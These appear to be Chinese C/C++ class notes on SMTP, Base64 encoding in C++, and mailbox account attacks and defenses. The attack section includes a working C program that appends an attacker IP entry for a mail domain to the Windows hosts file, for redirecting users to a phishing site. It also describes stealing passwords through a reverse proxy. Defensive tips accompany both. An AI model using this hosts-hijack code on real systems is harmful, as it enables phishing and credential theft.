標籤:space eth inf name simple -- 建立 11.2 sizeof
一、SMTP協議
SMTP(SimpleMail Transfer Protocol)即簡易郵件傳輸通訊協定。
SMTP協議屬於TCP/IP協議簇,通過SMTP協議所指定的server,就能夠把E-mail寄到收信人的server上。
SMTPserver則是遵循SMTP協議的發送郵件server,用來發送或中轉寄出的電子郵件。
SMTP使用TCP提供的可靠的傳輸資料服務把郵件訊息從發信人的郵件server傳送到收信人的郵件server。
跟大多數應用程式層協議一樣,SMTP也存在兩個 端:在發信人的郵件server上執行的client和在收信人的郵件server上執行的server端。SMTP的client和server端同一時候執行在每一個郵件server上。
當一個郵件server在向其它郵件server發送郵件訊息時,它是作為SMTP客戶在執行。
二、Base64編碼
Base64是網路上最常見的用於傳輸8Bit位元組代碼的編碼方式之中的一個,參見RFC2045~RFC2049,上面有MIME的具體規範。
Base64編碼可用於在SMTP的username和password驗證以及郵件附件編碼。採用Base64編碼具有不可讀性,即所編碼的資料不會被人用肉眼所直接看到。
// Base64.h: interface for the CBase64 class.////////////////////////////////////////////////////////////////////////#if !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)#define AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_#include <string>#include <stdio.h>#include <string.h>using namespace std;class CBase64{public: CBase64(); virtual ~CBase64(); virtual int Decode(const char* szDecoding, char* szOutput );//base64 to asciivirtual int Encode(const char* szEncoding, int nSize, char* szOutput);//ascii to base64protected: unsigned char encodeBuf[3000]; char Base2Chr( char n ) { n &= 0x3F; return m_sBase64Alphabet[(int)n]; if ( n < 26 ) return ( char )( n + 'A' ); else if ( n < 52 ) return ( char )( n - 26 + 'a' ); else if ( n < 62 ) return ( char )( n - 52 + '0' ); else if ( n == 62 ) return '+'; else return '/'; } unsigned char Chr2Base( char c ) { if ( c >= 'A' && c <= 'Z' ) return ( unsigned char )( c - 'A' ); else if ( c >= 'a' && c <= 'z' ) return ( unsigned char )( c - 'a' + 26 ); else if ( c >= '0' && c <= '9' ) return ( unsigned char )( c - '0' + 52 ); else if ( c == '+' ) return 62; else if ( c == '/' ) return 63; else return 64; // N^P'WV7{ } static std::string m_sBase64Alphabet;};//modify end#endif // !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
// Base64.cpp: implementation of the CBase64 class.#define _CRT_SECURE_NO_WARNINGS#include "Base64.h"// The 7-bit alphabet used to encode binary information//////////////////////////////////////////////////////////////////////// Construction/Destruction//////////////////////////////////////////////////////////////////////CBase64::CBase64(){ memset(encodeBuf, 0, sizeof(encodeBuf));}CBase64::~CBase64(){}std::string CBase64::m_sBase64Alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" );int CBase64::Decode(const char* szDecoding, char* szOutput )//base64 to ascii{ unsigned char * p = (unsigned char *)szOutput; int i, n = strlen( szDecoding ); unsigned char c, t; for ( i = 0; i < n; i++ ) { if ( *szDecoding == '=' ) break; do { if ( *szDecoding ) c = Chr2Base( *szDecoding++ ); else c = 65; // WV7{4.=aJx } while ( c == 64 ); // Lx9}N^P'WV7{#,Hg;X355H if ( c == 65 ) break; switch ( i % 4 ) { case 0 : t = c << 2; break; case 1 : *p++ = ( unsigned char )( t | ( c >> 4 ) ); t = ( unsigned char )( c << 4 ); break; case 2 : *p++ = ( unsigned char )( t | ( c >> 2 ) ); t = ( unsigned char )( c << 6 ); break; case 3 : *p++ = ( unsigned char )( t | c ); break; } } //(char *)szOutput; return ( (char*)p - szOutput );}int CBase64::Encode(const char* szEncoding, int nSize, char* szOutput)//ascii to base64{ std::string sOutput = string(""); int nIndex = 0; //unsigned char cTemp1[4096]; memset(encodeBuf, 0, sizeof(encodeBuf)); if (!szEncoding) return 0; /*else (unsigned char*)szEncoding;*/ memcpy(encodeBuf, szEncoding, nSize); unsigned char *cTemp = encodeBuf; unsigned char t; for ( nIndex = 0; nIndex < nSize; nIndex++ ) { switch ( nIndex % 3 ) { case 0 : sOutput += Base2Chr( *cTemp >> 2 ); t = ( *cTemp << 4 ) & 0x3F; cTemp++; break; case 1 : sOutput += Base2Chr( t | ( *cTemp >> 4 ) ); t = ( *cTemp << 2 ) & 0x3F; cTemp++; break; case 2 : sOutput += Base2Chr( t | ( *cTemp >> 6 ) ); sOutput += Base2Chr( *cTemp & 0x3F ); cTemp++; break; } } if ( nSize % 3 != 0 ) { sOutput += Base2Chr( t ); if ( nSize % 3 == 1 ) sOutput += '='; sOutput += '='; }strcpy(szOutput, sOutput.c_str()); return sOutput.length();}
#include <stdio.h>#include <string.h>#include "Base64.h"int main01()//這個是將ascii轉化為base64的代碼{CBase64 base;//建立CBase64類的一個執行個體,也叫一個對象,char base64[100] = { 0 };char ascii[100] = "18513105526";base.Encode(ascii, strlen(ascii), base64);printf("%s\n", base64);return 0;}int main()//這個是將base64轉化為ascii的代碼{CBase64 base;//建立CBase64類的一個執行個體,也叫一個對象。char base64[100] = "UGFzc3dvcmQ6";char ascii[100] = { 0 };base.Decode(base64, ascii);//將base64這個字串轉化為ascii,結果放到ascii這個字串裡面printf("%s\n", ascii);return 0;}
三、郵箱賬戶的破解與防護
1)hosts欺騙與釣魚網站
釣魚網站的實現以及怎樣防範
釣魚網站就是一個和真實網站樣子非常相似的一個冒牌網站
釣魚網站把使用者輸入的資訊都截獲了
釣魚網站怎樣讓使用者能主動登陸到釣魚網站呢?
Hosts欺騙,在windows系統檔案夾下有一個hosts檔案,這個檔案內部存放的就是IP和網域名稱的相應關係
我僅僅須要在hosts檔案裡增加一行。比方要讓使用者登陸到mail.wo.cn這個網站的時候自己主動登陸釣魚網站
Hosts檔案裡
123.57.211.212 mail.wo.cn
怎樣防範,一定要定期檢查你的hosts檔案,看是否有未知的IP以及其它的網域名稱資訊,
不要擅自執行來路不明各種程式,由於有些程式就是惡意的改動你的hosts檔案的
#include <Windows.h>#include <stdio.h>#include <string.h>#pragma warning(disable:4996)//屏蔽vs 4996這個錯誤資訊int setHosts(const char *IP, const char *domain)//改動hosts檔案{char s[100] = { 0 };GetSystemDirectoryA(s, sizeof(s));//得到windows的系統安裝資料夾char path[1024] = { 0 };sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");char content[1024] = { 0 };sprintf(content, "\n%s %s", IP, domain);FILE *p = fopen(path, "a");//用追加的方式開啟hosts檔案if (p){fputs(content, p);//將ip與網域名稱的相應關係寫入hosts檔案fclose(p);return 0;//代表寫入成功}return -1;// 寫入hosts檔案失敗}int main(){int rc = setHosts("123.57.211.212", "smtp.wo.cn");printf("rc = %d\n", rc);return 0;}
2)反向 Proxy
怎樣通過反向 Proxy來竊取password。以及怎樣防範
通過反向 Proxy,差點兒能夠無縫的竊取client的非常多資訊
一般如今的smtp都具備ssl。所以最好用ssl來串連郵件server。由於用ssl即使有反向 Proxy截獲了訊息報文,但破譯報文的代價會非常大。
為了郵箱的安全,請各位同學一定要使用帶ssl功能的郵件server。ssl全部報文都是加密的
切記一定不能擅自執行各種來路不明的程式,有些程式就是通過改動hosts檔案來達到釣魚或者反向 Proxy的惡意企圖的。
郵箱的password一旦泄露,有時候代價會非常大。由於非常多騙子會利用你的郵箱發郵件。同一時候萬一你的郵箱password和你的其它password是同樣。那就更危急了。
傳智播客c/c++公開課學習筆記--郵箱賬戶的破解與郵箱安全防控